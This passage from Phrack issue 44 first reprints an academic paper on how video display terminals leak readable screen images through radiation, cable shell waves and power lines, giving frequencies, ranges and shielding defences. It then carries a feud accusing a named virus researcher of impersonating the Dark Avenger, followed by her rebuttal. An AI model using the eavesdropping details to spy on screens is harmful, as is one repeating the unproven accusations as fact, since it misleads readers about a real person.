==Phrack Magazine==

Volume Four, Issue Forty-Four, File 10 of 27

****

[Editor’s Note: This file is reprinted with permission of InterPact Press. The actual document contains many pictures, charts, and tables that due to our format, we were unable to reproduce. We encourage the reader to contact InterPact Press at 813-393-6600 and order a hard copy of the document for $25.00]

Protective Measures Against Compromising Electro Magnetic Radiation Emitted by Video Display Terminals

by Professor Erhart Moller
University of Aachen, Aachen, Germany

0. Introduction

Compromising electromagnetic radiation emitted by machinery or instruments used in data processing or communication engineering can be received, decoded and recorded even across large distances. It is also possible to recognize the data or information which was processed and transmitted by the emitting instrument as text in clear. Compromising emitted electromagnetic radiation thus jeopardizes the protection and security of data.

The Laboratory for Communication Engineering at the Fachhochschule Aachen is developing protective measures against compromising emission of radiation. However, these protective measures can only be effective if they are derived from the characteristics, the effects, and risks of compromising emitted electromagnetic radiation. Therefore we first consider only the forms of appearance and the characteristics of compromising emitted electromagnetic radiation.

1. Compromising Emitted Electromagnetic Radiation

In this context one often refers only to the so-called computer radiation. But this is only one form of compromising emitted electromagnetic radiation. There are three types of such emissions.

1.1. Types of Compromising Emitted Electromagnetic Radiation

Figure 1.1 shows an n example of an arbitrary electric device with various electric connections: a power supply line, a high frequency coaxial transmission line, and a coolant line with in- and outflux. This device emits three types of compromising electromagnetic radiation:

1. electromagnetic radiation in form of electric and magnetic fields and electromagnetic waves;

2. electromagnetic waves on the outer surface of all coaxial metallic connections (shell waves);

3. electric interference currents and interference voltages in power lines connected to the device.

Each of the three types can be transformed into the other two. For instance, shell waves can be emitted as fields or waves. On the other hand, electromagnetic waves can be caught by a nearby conductor and can propagate on it as shell waves. These phenomena are the reason for the difficult control of compromising electromagnetic radiation, and they imply that one must deal with all and not just one form of compromising electromagnetic radiation. Also, electromagnetic protection against compromising emitted radiation must deal with all forms of it.

1.2. Examples of Compromising Emitted Electromagnetic Radiation

To exemplify the three types of compromising electromagnetic radiation we consider the monitor depicted in figure 1.2.

1.2.1. Compromising Electromagnetic Radiation

Figure 1.3. shows the experimental set-up. The video display terminal is connected via the power line to the power supply. The power line is surrounded by absorbers so that the terminal can only emit electromagnetic radiation. The absorbers prevent the generation of shell waves on the power line. The dipole antenna of the television receiver is 10 m from the video terminal. Figure 1.4. shows the screen of the television receiver after it received and decoded the signal. Not only is the large FH=AC well readable but also the smaller letters.

This demonstration yields the following results:

* The video display terminal emits electromagnetic radiation;

* Despite being within (standards committee) norms the emitted electromagnetic radiation can be received and decoded across a certain distance;

* The electromagnetic radiation emitted by the terminal can be decoded into readable information and symbols on a television screen. Therefore, this emitted radiation is compromising.

1.2.2. Compromising Surface or Shell Waves

The video display terminal and the television receiver are positioned as in figure 1.5. The power line of the terminal is surrounded by a current transformer clamp which absorbs the shell waves. The television screen shows again the picture seen in figure 1.4. The quality of the picture is often better than in the previous case. Another experiment would demonstrate that secondary shell waves can form on a nearby conductor. The emitted radiation is then caught by nearby conductors and continues to propagate as shell waves. These emissions also give good receptions but are almost uncontrollable along their path of propagation.

1.2.3. Demonstration of Compromising Emitted Radiation Through the Power Line

Figure 1.6 shows the experimental set-up for the proof of compromising power supply voltages. The video display terminal acts as a generator whose current and voltage is entered into the power supply. Using a capacitive line probe, the entered signal can be retrieved and fed into the television receiver.

This form of transmission is the known basis for intercom systems or so-called babysitter monitors where the signals are transmitted from room to room via the energy supply lines in a home. As in the case of electromagnetic radiation or shell waves, one obtains the same picture quality as in figure 1.4.

2. Facts About Compromising Emitted Radiation

Protective measures against compromising emitted radiation are not only determined by the above-mentions\ed three types of compromising emissions but also by taking into account the following data:
#   level of intensity and spectral distribution;
#   frequency (emission frequency) and frequency range;
#   directional characteristics of the radiation.
These data can then be used to derive the damping and the amplitude-frequency response for the protective measure and its location.

2.1. Emission Spectrum and Level of Intensity

The spectral distribution of compromising emitted radiation depends on the frequencies used to generate the picture on a screen. The regular repetition of dots and lines gives rise to the video and line frequency which is found in the spectrum. However, the emission of video or line frequencies is not compromising since their knowledge does not yet give access to processed data. If the lines are covered regularly by symbols, a symbol frequency is obtained which is also detectable in the spectrum. A single symbol consists of a dot or pixel matrix.

The dot matrix of the symbol @ is also known in figure 2.1 The electron beam scans the individual dots or pixels line-by-line and keys them bright or dark. This keying is done using the so-called dot or pixel frequency. For instance, the highest keying frequency is obtained by scanning the center of the @ symbol since there one has a long sequence of successive bright and dark pixels. It also follows from figure 2.1 that the keying is slower, i.e., the keying frequency is lower, along the upper part of the @ symbol because of a long sequence of only dark or bright pixels. It follows that the emissions due to the keying frequency are highly compromising since they give direct information about the structure of the picture.

Until recently, the frequencies in the following table were used:

video frequency	45 Hz - 55 Hz
line frequency	10 kHz - 20 kHz
symbol frequency	2 MHz - 5 MHz
dot or pixel frequency	15 MHz - 20 MHz.

The pulses for the electron beam are formed in the video part, i.e., the video amplifier, of the monitor. Therefore, the cathode-grid of the picture tube and the video amplifier are the main emitters of radiation. The upper diagram in figure 2.2 shows the calculated spectrum for the cathode-keying. It represents a sequence of dots from the center of the @ symbol using a dot-sequential frequency of 18 MHz. The diagram in the center of figure 2.2 shows the measured spectrum at the keyed cathode of the picture tube. The agreement between the calculated and measured spectrum for the frequency is clearly visible. However, the calculated and measured spectral representation differ in the form of the envelopes. In the measured spectrum one finds an amplitude increase between 175 MHz and 225 MHz. This increase is usually found in the same or similar form in monitors. The reasons for this amplitude increase are design, construction parts, and dimensions of the video display terminal. In the lower part of figure 2.2 we see the compromising radiation emitted by the terminal as measured at a distance of 10 m. The spectrum of the radiation emitted by the terminal is superimposed by broadcast, radio and interference spectra since the measurement took place on open ground. Despite this interference one can recognize the typical form of the cathode spectrum. The increase in the amplitude between 175 MHz and 225 MHz presents a particular risk since the television transmitters for Band III operate within this frequency range and all television sets are tuned to it (see figure 2.2).

A comparison of the intensity level of the television transmitter with the level of the compromising radiation in figure 2.2 shows their agreement. It is therefore not very difficult to receive the compromising radiation in proximity of the emitter using only a regular television set with normal sensitivity.

Figure 2.3 shows the spectral distribution of compromising shell waves emitted by the video display terminal. Here again one recognizes the particular form of the dot or pixel frequency. The height of the shell wave spectrum is much lower at higher frequencies than the height of the radiation spectrum. The shell waves have lower intensity in the range of broadcast television but higher intensity in the range of cable television. To receive the shell waves a television set must be cable-ready.

Figure 2.4 shows the spectrum for the third type of emission: the compromising currents and voltages entering the power supply lines. It is very similar to the shell wave spectrum. The height of this spectrum at higher frequencies is even smaller than the shell wave spectrum. In order to receive any signal a cable-ready television set must be used. The intensity of the currents and voltages is so high that they can easily be received using a regular television set with normal sensitivity.

2.2. Frequency and Frequency Range

It follows from figures 2.2, 2.3, and 2.4 that the best reception for the three types of emissions is for the following frequencies:

compromising radiation	approx. 200 MHz;
compromising shell waves	approx. 60 MHz;
compromising voltages	approx. 20 MHz.

The video information of the picture on the monitor has a frequency range of half a spectral arc. The frequency range of the receiver must therefore be 10 MHz for all three types of emission.

2.3. Directional Characteristics of the Radiation

Figure 2.5 shows the directional characteristics for compromising radiation emitted by a video display terminal inside a plastic casing. According to this diagram the lateral radiation dominates. The field intensity along the front and back direction is about 30% of the lateral intensity. The power of the emitted radiation along these directions is only about 10% of the power emitted laterally. The range for the emitted radiation along the front and back direction is therefore also reduced to 30%. This phenomenon suggests for the first time a protection against compromising radiation, namely proper positioning of the device.

The compromising shell waves and power line voltages propagate according to the configuration of the lines. There is no preferred direction.

2.4. Range

The range of compromising radiation emitted from a video display terminal is defined as the maximum distance between the emitting terminal and a television receiver and readable picture.

The range can be very different for the three types of emitted radiation. It depends on the type of emitter and the path of propagation.

The spectacular ranges for emitted ranges are often quoted - some of which do not always come from the technical literature - give in general no indication just under which conditions they were obtained. It is therefore meaningful to verify these spectacular ranges before using them.

2.4.1. The Range of Compromising Emitted Radiation

The dependence of the field intensity on distance is illustrated in figure 2.6.

The dependence of the range on the receiver used is shown at 25 m, 40 m, and 80 m. The field intensity at 25 m is just strong enough to receive a picture with an ordinary television receiver using the set-up in figure 1.3. If one uses a narrow-band television antenna or a noiseless antenna amplifier than the field intensities at 40 m and 80 m, respectively, are still strong enough to receive a legible picture.

The flattening out of the curve at large distances suggests that the range can be increased to several hundred meters by using more sensitive antenna or better receivers. The range can also be increased through a high altitude connection, for instance, if both emitter and receiver are in or on a high rise. This was verified by an experiment involving two high rises separated by over 150 m. A very clear picture was received using a relatively simple antenna with G = 6 db.

2.4.2. Range of Compromising Shell Waves

Measurements have shown that shell waves can propagate across a large area without any noticeable damping if only the surrounding metallic conductors extend also across the entire area.

The propagation is reduced considerably by a metallic conductor that crosses metallic surfaces such as metal walls or metallic grids such as reinforcements in concrete walls.

Dissipative building materials also damp shell waves. Lightweight construction such as the use of dry walls or plastic walls in large buildings increases the range of shell waves to about 100 m without the picture becoming illegible.

2.4.3 Range of Emissions Through Power Supply Lines

In this case the conditions are even less clear than in the previous cases. It must be assumed that inside a building the compromising currents and voltages can be received through the phase of the power supply lines feeding the video display terminal . The possibility of receiving the signal through other phase lines by coupling across phases in the power supply line cannot be excluded.

The range depends very much on the type of set-up and the instruments used. It is conceivable that a range of about 100 m can be obtained.

3. Protective Measures

Protective measures fall into three categories:

- modification of devices and instruments by changing procedures and circuitry;
- heterodyning by noise or signals from external sources;
- shielding, interlocking, and filtering.

3.1. Instrument Modification

The instrument modifications consist of changing the signal processing method and the circuitry of the instrument. It is the objective of these measures to alter the spectral distribution and intensity of the emitted radiation in such a way that the reception by television sets or slightly modified television sets is no longer possible.

For instance, a change of procedure could consist of a considerable increase in the dot or pixel frequency, the symbol and line frequencies. A reduction in the impulse amplitude and impulse slope also changes the reduction in the impulse slope also changes emission spectrum so that reception is rendered more difficult. However, the subsequent modification of the video display terminal has serious disadvantages of its own: First of all, the user of video display terminals does in general not possess the personal and apparative equipment to perform the modifications. To complicate things further, the so-modified instruments loose their manufacturer's warranty and also their permit of operation issued by governmental telecommunication offices. A subsequent instrument modification by the user is for these reasons in general out of question.

3.2. HETERODYNING STRATEGY

We refer to a protective measure as a heterodyning strategy whenever the compromising emitted radiation is superimposed by electromagnetic noise of specific electromagnetic signals.

The television set receives the compromising emitted radiation together with the superimposed noise of spurious signal. The noise or the spurious signal are such that a filtering out or decoding of the compromising emitted radiation by simple means is impossible.

Since the noise and the spurious signal not only interfere with the television receiver of the listener but also with other television sets in the vicinity the heterodyning strategy is by all means in violation with the laws and regulations governing telecommunications. As far as is known, this is a protective measure only used under extremely important circumstances involving high government officials.

3.3 Shielding

In contrast to the previously considered protective measures, shielding has two important advantages:

* shielding protects not only against compromising emitted radiation but also against electromagnetic emissions which can enter data processing devices from the outside and cause interference;
* furthermore, shielding neither violates the laws governing the use of telecommunications nor does it jeopardize the manufacturer's warranty.

The term shielding is used here to describe, shielding, interlocking, and filtering.

3.3.1. Shielding Data

The requirements on a shield are described by the shield damping. The shield damping is twenty times the logarithm of the ratio between the electric or magnetic field intensity inside the shield and outside the shield.

Actual applications and individual situations may require different values for the shield. The shield data are derived from the so-called zone model. In the zone model one considers the type and intensity of the emitted radiation, the composition of the path of propagation, and the local accessibility for the receiver.

The shield data not only influence the shield damping but also the frequency range of the shield's effectiveness. Figure 3.1 shows a diagram listing different types if shields according to regulations MIL STD 285 and 461B, NSA 656, and VG norms 95 375.

3.3.2. Applicability of Shielding

Electromagnetic shielding can be used on emitting or interfered with instruments, on building and rooms, and on mobile cabins.

3.3.2.1. Shielding of Instruments

The shielding of instruments though it can often be done very quickly and effortlessly is not without problems.

In general but especially after subsequent installation, it can lead to a loss in design and styling of the shielded device. Openings in the shield, for instance for ventilation or control and operating elements, cannot always be sealed off completely. In this case they are emission openings with particularly high emission rates.

Trying to maintain ergonometric conditions - good viewing conditions for the users - renders the shielding of screens especially difficult. If the casing of the instruments is not made of metal but of plastic, the following shielding materials are considered: metal foils, metal cloth, metal-coated plastics, electrolytical layers and coats of metallic paint or paste. Recently, the plastics industry is also offering metallized plies of fabric. Such glasses are for instance offered by VEGLA, Aachen. Ventilation openings are sealed off with metallic fabric of honey-comb wirings.

Interlocking systems and filters on all leads coming out of the instrument prevent the emission of compromising shell waves and power supply voltages.

3.3.2.2. Building and Room Shielding

There are some advantages in shielding buildings and rooms. The building and room shielding lies solely in the competence of the user. Minor restrictions dealing with the static of the building and local building regulations only occur with external shielding. Building and room shielding offers a protection that is independent of the instrument or its type. It is a lasting and effective protection. Maintenance is minimal, and subsequent costs hardly exist. Interior design and room lay-out are not changed.

If one requires better shielding values or a building and room design which emphasizes better comfort than greater expenses and thus higher costs will occur.

3.3.2.3. Cabin Shielding

Cabin shielding has all the advantages of building and room shielding. In addition, cabin shielding is not affected by the static of the building or local building regulations. Furthermore, cabin shielding requires less expenses and costs than building or room shielding.

However, shielded cabins do not offer the same comfort or interior design as shielded buildings or rooms.

3.3.3. Shielding Components

Electromagnetic shielding consists of three components:
# the actual shield together with various structural elements as a protection against emitted radiation;
# the interlocking of all non-electric and electric supply lines to protect against shell waves;
# electric filters at all supply lines to protect against compromising power supply voltages.

3.3.3.1. The Electromagnetic Shield

The shield consists of the hull and the shielding structural elements.

3.3.3.1.1. Shield Hull - Method and Construction

In general, one uses metal sheets or metal foil to construct electromagnetic shields for buildings and rooms. If one lowers the requirements on the shield damping and the upper limit frequency then screen wire, metallic nets, and - if properly constructed - even the reinforced wire net in concrete can be used; the obvious disadvantage is that the settlements or movements of the building can cause cracks that will render the shield ineffective.

Therefore, only metal shields or strong wire netting is used for the construction of electromagnetically shielded cabins.

The building or room shield can be built using several construction principles. Figure 3.2 above shows the essential construction principles.

For the Sandwich construction, the shield is between the outer and inner layer of the wall. A new type of construction uses the Principle of the Lost Form. The shield itself which consists of 3 to 5 mm thick sheet iron is used as an inner layer in the manufacturing of concrete walls. The sheets touch one another and have to be welded together at the contact points. If the building or room shields he\ave to satisfy a special purpose then they have to be grounded at only one point; they have to be assembled in such a way that they electrically insulate against the building or room walls. The so-called inner shields offer this protection. In simple cases, the inners shield is placed on top of the walls maintaining insulation by using a special underneath construction. However, this space-saving and simple construction has a disadvantage; the part of the shield that faces the wall such as corrosion, settling or moving of the building, or damages due to work on the exterior of the building can no longer be detected. The use of non-corrosive shield material or sufficient back ventilation of the shield protects against corrosion in these cases. The self-supporting inner shield is suspended from a supporting grid construction. This construction can be similar to a cabin construction. In the case of large rooms, such as halls, one should use a truss for statistical reasons. The self-supporting inner shield has the advantage of accessibility, although the usable room volume has been decreased.

In rooms where the shield is exposed to only slight mechanical wear and tear and not required to shield completely, shielding metal foil is glued directly to the wall and welded at the contact points.

The floor construction is almost the same for all four construction principles. It is important that the floor onto which the shield is placed is protected from humidity and is even. In the case of electrically insulating layers of, for instance, laminated paper or PVC are first put on the floor. The ceiling construction depends on the specific requirements and necessities. The ceiling shield can be a suspended metallic ceiling or a self-supporting ceiling construction.

3.3.3.1.2. Shield Construction Elements

Construction elements which seal off viewing openings or access openings are called shield construction elements. Access openings are doors, gates, and hatches. Viewing openings are windows.

The shielded doors, gates, and hatches serve two purposes: first to close off the room, and second to shield the room.

The door, gate, or hatch shield is in general made of sheet iron. Passing from the door or gate shield to the room shield causes shield-technical problems. A construction which is due to the company of TRUBE & KINGS has proven to be especially effective for this kind of problem (see figure 3.3).

The set-on-edge door shield, the so-called knife, is moved into a U-shape which contains spring contacts. The difference between this and other available constructions is that the knife is not moved into the spring upward. This construction reduces the wear and tear of the transition point between door and room shield and thus increases the durability of the construction which implies a better protection and higher reliability. This construction by TRUBE & KINGS satisfies the highest requirements on shield damping.

Windows in shielded room are sealed off with the shielding glass or so-called honey-comb chimneys. It si understood that these windows are not to be opened. Figure 3.4 shows the cross-section of a glass especially developed by VEGLA for data processing rooms. The glass consists of multiple layers which are worked into a very fine metallic net and an evaporated metallic layer. The thickness of the wire is in the range of a few micrometers so that the net is hardly visible. This glass can also be manufactured so that it is rupture- and fire-resistant and bullet-proofed.

Using glass one can reach shield dampings in the medium range (refer to figure 3.1). Specially manufactured glass reaches even higher shield dampings.

Figure 3.4 also shows the so-called honey-comb chimneys as manufactured by SIEMENS. Visibility and the comfort of light are highly restricted. But the advantage is that this type of shielding satisfies the requirements for highest shield damping.

3.3.3.2. Interlocking

All non-electric supply lines leaving a shielded room must be interlocked in order to protect against the propagation of shell and surface waves. Water pipes, heating pipes, pneumatic and hydraulic pipes are connected via rings to the metallic shield. Depending on the required frequency range, the pipe diameter is also subdivided by filter pieces. At high frequencies on can achieve dampings of up to 100dB using such interlocking devices.

The ventilation of shielded rooms may cause problems. Problems will occur if shield dampings up to the highest frequencies are required. In this case one has to use two-step ventilation filters. The first step consist of adding concave conductor filters which work for the frequencies up to 200 GHz, the second step of adding absorber filters which protect against compromising emitted frequencies above 200 GHz.

Figure 3.5 shows the set-up for the above-described ventilation lock which is due to the SCHORCH.

3.3.3.3. Electric Filters

Filters must be put on electric power supply lines, telephone wires, and data processing supply lines at the room exit point. The filters have to be installed at the shield.

The filters used here are the same as the ones shown in the area of electromagnetic compatibility.

4. Summary

Electric devices used in data processing, data transmission and data handling emit electromagnetic radiation, electromagnetic shell and surface waves, and currents and voltages in power supply lines, telephone wires, and data supply lines.

If this emitted radiation carries actual data or information from the data processing device then it is compromising.

Using a television receiver, it is very easy to receive, decode and make these compromising emissions legibly. Several possibilities present themselves as protective measures against compromising emissions from data processing and data transmitting equipment. The use of shielding in the form of room shields, interlocking of supply lines, and filters for electric lines is the best protection for the user of data processing, data transmitting, and data handling equipment.\032

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 11 of 27

[Editor's Note:

The following two files are very interesting. I never paid ANY attention to the realm of our community that focus on virii. For some reason, the whole idea behind them is a novel concept, but I never saw any reason to take notice of them. Even when I've given lectures, I always leave discussion about virii out, since they should be a moot point. I mean, when "fdisk /mbr" will take care of so many problems, what's the big deal?

I know I'm over-simplifying things, but jesus...

Well, while I continued to overlook this small but earnest group of folks who dabble in virii, all kinds of things began to happen. Groups formed, rivalries flared, paranoia ran rampant and one of the most ridiculous cottage industries in the history of personal computing appeared (living on the spread of Fear, Uncertainty and Doubt.)

Well, in all of this several names have popped up as potential threats to this little world. One in particular, Sarah Gordon, even got the spotlight as a paranoid, BBS-busting, hacker-bashing psychopath in a rather ill-researched and hastily prepared Phrack piece a few years back. It is rather odd that in all the hype we in the underground drum up, no one ever bothers to get the other side of the story, so we feed the fervor and continue the paranoia.

Well, with this in mind, I received a file claiming to have info regarding the big "expose" of Sarah masquerading as the Dark Avenger. Now, even a moron like me has heard of the Dark Avenger, so I read it. After doing so, I wanted to pipe it to /dev/null, but then decided it would be much more fun to send it to Sarah too, and let her respond to it.

It's amusing as hell, and just goes to show that the underground has as many similarities in its distinct groups as it does differences.]

Sara(h?) Gordon AND THE DARK AVENGER SCAM.

By Kohntark

In one of my many online conversations with Sara Gordon I once asked her about the validity of the VNI interviews and her real relationship with the alleged dark avenger; after logging into her VFR BBS and seeing a #2 (hers being #1) account named after him.
I proceeded to leave a message for the dark avenger there, claiming that the whole account was bogus as it is highly improbable that this person might call all the way from Bulgaria and log into a mediocre BBS just to chat with her, considering the expense of such long distance call , the economic situation in Eastern Europe and a fact that would learn later: Sara(h) Gordon has an account on the Bulgarian DIGSYS unix server, locally accessible by phone from there!

As it was expected, Sara(h) quickly 'noticed' my personal message to the dark avenger and replied to my questioning in a public post in FIDONET, (I don't read FIDONET posts and she knows I have no access to them!!!!)
She claimed that the dark avenger was fully aware of how much

money she made out of the VNI interviews and that she was in touch with him, etc.etc.

Afterward, I questioned her again about the whole affair and demanded a proof, or some sort of direct contact from the dark avenger to my anonymous internet account.

Since this was the first time anyone had ever questioned the validity of her relationship with the DA, she took this to heart and shortly after, I received 3 short messages originating from <dav@danbo.digsys.bg> an Internet connected UNIX system in Bulgaria.

Here they are:

(Private, compromising parts are X'd out)
1st Message:

```
--------------------------------------------------------------------------------
-
From daemon@digsys.bg Wed Jul 14 19:07 EDT 1993
Received: from danbo.digsys.bg by XXXXXXXXXXXXXXXXXXXXX; Wed, 14 Jul 93 19:07:3
4 -0400
Return-Path: <dav@danbo.digsys.bg>
Received: by XXXXXXXXXXXXXX (5.67/1.35)
        id AA12850; Thu, 15 Jul 93 02:04:46 +0300
Message-Id: <9307142304.AA12850@XXXXXXXXXXXX>
To: XXXXXXX
From: dav@danbo.digsys.bg
Date: Wed, 14 Jul 93 23:41:36 +0300
Subject: No subject
Status: RO


kohntark-

i just talked to a friend of mine who said you dont like her user
log. why shouldnt i call her from bulgaria? i call whoever i want
to, and this is not your problem.

by the way, she sent me your mail. for your information, i do
know how much money she made of that interview. and i also think
that this is none of your business.

also, maybe it would be good for you to know, that by offending
her, you are offending me, too. keep this in mind.

<dav>
Second Message:
--------------------------------------------------------------------------



>My mail with her is none of your business either.

i dont think so, dude.


maybe you need to read the next few lines again,
in case you missed them.



>>
>> also, maybe it would be good for you to know, that by offending
>> her, you are offending me, too. keep this in mind.
>>
>> <dav>
 >
 >HA HA! and you expect me to believe that you are the DA!
 >send me a proof: an email address from bulgaria or tell me
 >how many addressing modes does the MTE have?
```

>
>nice try.

well, what do you think the domain .bg in my email address stands for? maybe you think its kameroon? as for the mte, im not giving you any info.

i need not prove anything to anybody, and certainly dont plan to waste more of my time talking to you. you have been warned.

<dav>

Third Message:

---

oh, yeah. sure it did. only you will not know where something else came from, when it knocks on your door. i have nothing more to say.

In my ignorance, I blindly trusted the three cryptic replies to be true, even thought whoever replied refused to give out trivial information such as the number of addressing modes for a 2 year old encryption engine (MTE) and spelled Cameroon with a 'k' (Check out Sara Gordon's spelling of URUGUAY in VIRUS-L Volume 6 Issue 120 -v06i120)
Shortly after other unrelated discussions and a CUD post from Sara(h) in which I was mentioned (unnamed), someone warned me of several posts in NUKENET by an alleged dark avenger and Todor Todorov from an account belonging to the last, mentioning me and Aristotle.
In those messages I was referred to as 'hotshot,' a word that Sara Gordon had used on me several times on our personal email exchange; It was then that I became highly suspicious of the whole matter.

I called Virginia's Virus Research Institute's sysop and owner, Aristotle to find out more about the posts and he bought to my attention the particular writing style of Sara(h) Gordon: She NEVER uses capital letters and apostrophes on her personal email, and always signs her name on the lower left hand corner. (She seldom signs her posts nowadays and changes her user name in her vfr@netcom.com account every week!; for further proof of her writing style, please refer to public posts in VIRUS-L Volume 6 #120; I also have over 100K of personal email exchange to prove this fact!)

It was then that we realized that she was passing herself as Todor Todorov and the dark avenger (who could possibly verify their online identity?) and had infiltrated NUKENET..

The writing style described corresponds exactly to the one on the posts I received from the 'dark avenger.'
Shortly afterward the <dav@danbo.digsys.bg> account was cancelled and I learned the whole truth:

The danbo.digsys.bg Bulgarian site belongs to Daniel Kalchev, another self appointed AV researcher whose best claims to fame are submitting various Bulgarian viruses to Patricia Hoffman's VSUM!!
(You can check this by doing a search on 'Kalchev' on the current VSUMs or you can contact him thru: <daniel@danbo.sigsys.bg>)
He is a very close friend of Sara(h) Gordon and he has an account in her VFR BBS (you can check this by logging into

her system and checking the user list) and SHE has an account in digsys.bg under <sarah@danbo.digsys.bg> (this account is still valid as far as I know; notice the H after her name!)

What I concluded is that is the DA would never get an account in such system as he HATES Daniel Kalchev!!!!

This is what really happened: Sara(h) Gordon in her desperation to prove that she was in touch with the dark avenger, told her pal Daniel Kalchev to make an account under the dark avenger's name (<dav> this is how she always refers to him, even though he never signs his name that way (check the source code for his 'Dark Avenger' virus or the 'Commander Bomber' virus message name: [DAME])
From there she could email me messages that would come from Bulgaria and would be untraceable since she would log into her account in digsys.bg and log into the <dav> account internally from the same site in Bulgaria. (You can check where and when most of the people log from in most internet unix and vax sites)

As it is expected from her, she has denied any of this. Some of her ridiculous explanations include things like "hotshot is a very common English word in Bulgaria" !!!

You might ask yourself what is the deal with the h? is it sara or sarah??
Well, I asked her the same question when I noticed this in one of the VNI interviews, where her name is spelled as Sarah.
She replied that this was a mistake of the publisher.
Mistake? well not really, it was another lie, meant to throw off any information and truth seekers, for example you can check her account in Daniel Kalchev's system:
<saraH@danbo.digsys.bg> , spelled with an H,
another 'mistake of the publisher?'
:)

Other countless Sara Gordon lies are told in NUKE Info-Journal # 6.

This behavior puts in question the validity of the VNI interviews and the reputation of Sara(h) Gordon as a serious (self appointed) 'virus researcher'

IMHO the VNI interviews are a complete fabrication, meant only to boost her validity as a 'journalist', and to make her lots of money, charging for further 'interviews' to other magazines. (She has offered her paid 'interviewing' services to various other publications.)

To the best of my knowledge the information I present here is true and can be checked.
I chose to publish this information, despite threats against my well being and countless lies about me propagated by Sara(h) Gordon.
I am doing this to stop the lies and corruption fostered by the Anti-Virus industry.

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 12 of 27

****

Sarah Gordon's Response

Greetz and Salutations :)

Thank you for giving me the opportunity to contribute to Phrack. While we may not agree on everything, I appreciate the chance to speak for myself. In the past, as many people now know, I have not had the opportunity to do so. My philosophies and ideals are quite similar to your own, and I hope that my response to this "Article" will help shine a bit of light on what is really going on here.

I don't really want to spend too much time on it, because it is, as you said, obviously a personal attack. But, on the other hand, such nonsense can grow to the point where it has an effect. Perhaps a backlash on the programmers and hackers in Bulgaria, which of course will spread to the United States. They have suffered a lot of persecution because of the past malicious and irresponsible acts of some of their virus writers. Since Dark Avenger stopped writing viruses, their reputation has improved somewhat.

David Briscoe recently wrote:

"Computer hackers in former communist countries, including an elusive Bulgarian known as the Dark Avenger, are creating mischievous and sometimes costly viruses that threaten computers around the world".

Following a recent interview I conducted with Dark Avenger, I was chastised for not making his identity known so he could be 'made to pay'.

In "Discover" Magazine, writers Paul Mungo and Brian Clough are quoted from their book 'Approaching Zero' "the Mutating Engine...the most dangerous virus ever produced". This is so stupid, especially considering the thing does not replicate. It's a tool that can be used to perform encryption. Well, decryption too, but explanation of how it works aren't the point here, suffice to say it's not "the most dangerous virus ever produced".

If people are going to rely on the media as an information resource, the media owes it to us to provide us with accurate information. However, this is simply not always the case.

If you consider the actual viruses commonly found -in the wild- (that is, by computer users such as those from universities, corporations, etc.), the number of Bulgarian viruses -directly- impacting the users is a very insignificant number. For some reason, the media likes to play up Bulgaria as the big force behind the destruction of data!

I personally don't have an interest in the economy of Bulgaria or any other country, but the media sure likes to use this kind of "information" to sell their own particular brand of fear.

No more fear. Fear is a bad thing. It is one of the things that leads us to have government intervention into areas of our lives where it is definitely not desired.

Sara(h?) Gordon AND THE DARK AVENGER SCAM.

By K$hntark

In one of my many online conversations with Sara Gordon I once asked her about the validity of the VNI interviews and

> her real relationship with the alleged dark avenger; after logging into her VFR BBS and seeing a #2 (hers being #1) account named after him.

Of course his (Dark Avenger) name was #2 there. I put it there for him. His last call to my BBS was July 31, 1993 at 1:55 p.m. However, this was not the start of this business with Kohntark. He had been mailing me for about one month. From an account using the address of cxxxxx.ic.xxxxxx.edu. Keep this address in mind. It will come in handy later.

I am not exactly sure of the date of the first message, but I think about one month. He had been reasonable enough at first, but he became increasingly agitated. Since he felt it was appropriate to include personal mail from Dark Avenger to him here, I think I can go ahead and illustrate for you some of his "hacking" :) (well, if you can call it hacking. you decide). (OH GOD, LOWER CASE...LeTZ SeE...)

> I proceeded to leave a message for the dark avenger there, claiming that the whole account was bogus as it is highly improbable that this person might call all the way from Bulgaria and log into a mediocre BBS just to chat with her, considering the expense of such long distance call , the economic situation in Eastern Europe and a fact that would learn later: Sara(h) Gordon has an account on the Bulgarian DIGSYS unix server, locally accessible by phone from there!

This guy doesn't seem to know much about the "economic situation in Eastern Europe". At least, about Dark Avenger's personal economic state:) or mine. Maybe Dark Avenger could call digsys, but I certainly couldn't when I first started talking to him. I didn't have any internet account. All I had was my mediocre BBS. He couldn't get to my BBS any way but to call me, directly.

Yes, I have an account there -now-, but I don't and didn't use it to chat with Dark Avenger. He did not want the sysadmin to monitor our chats. And, I didn't -have- that account until after I had talked to Dark Avenger for a long time, so I could hardly have used that server to talk to him early on I didn't have an account there then :) In fact, neither did he, at that time, because there was no digsys.bg as far as I know. He called Danbo BBS for years. It was not on the internet. He did later use it later, once it actually got onto the internet, to occasionally mail me, but not much. He used it more to come to IRC.

In fact, a couple people you know talked to him there, with me. They didn't like him much; found him rude and arrogant. He can be.

However, he most certainly did call me here. Does Kohntark think he is the only one who can make long distance telephone calls? Dark Avenger called me frequently, and not always from Bulgaria. I don't know how or if he paid for the calls, all I know is that since I couldn't afford to call, and didn't know any number for him, he called me.

As for my "mediocre" BBS, it serves its purpose:) I think giving out virus free anti-virus products, and products that don't cost the users a small fortune, and that actually WORK is quite a good purpose. I don't see any reason for people to be exploited by some a-v companies, who are promoted by various magazines, which in turn rate them highly because they are doing their advertising.

> As it was expected, Sara(h) quickly 'noticed' my personal message to the dark avenger and replied to my questioning in a public post in FIDONET, (I don't read FIDONET posts and she knows I have no access to them!!!!)

Kohntark called my BBS, at my invitation, on July 13, 1993 at 23:19. There's no other way he could have left any mail because its an invite only system. It’s not like it was any big shock to me that he called. He asked me to make him an account and I did.

Dark Avenger was a regular caller to my BBS, and read his message, I imagine, since he fwded it to me. I don’t know what access Kohntark has or doesn’t have, as far as what networks he uses, (as far as what networks he reads mail from, that is) as I explained to him. I mailed him there because of the mail he left to Dark Avenger (which he forwarded to me) on MY system, and because I received a very nasty message from Kohntark, using the address kohntark@rot.in.hell.com, if I remember correctly. I sent the message, and did include answers to his questions because I wanted to continue talking with him. The message had the headers included from, guess where? cxxxxx.ic.xxxxxx.edu....

> She claimed that the dark avenger was fully aware of how much money she made out of the VNI interviews and that she was in touch with him, etc.etc.

This is the truth. In case anyone is curious, the amount of money I made from this article was less than the amount of my PC Pursuit Bill from calling to do chats and talks with him. At that time he had accesses via various networks, and we talked on a regular basis. Additionally, Dark Avenger had full control over taking out or editing any of his comments in the interview. It is a policy of mine. If you wish to confirm it, I can put you in touch with other virus writers. I can in fact do it any time probably, as they are usually around where we are. Let me know if you want me to do it. Dark Avenger was even a bit obsessive about how much money I would make.

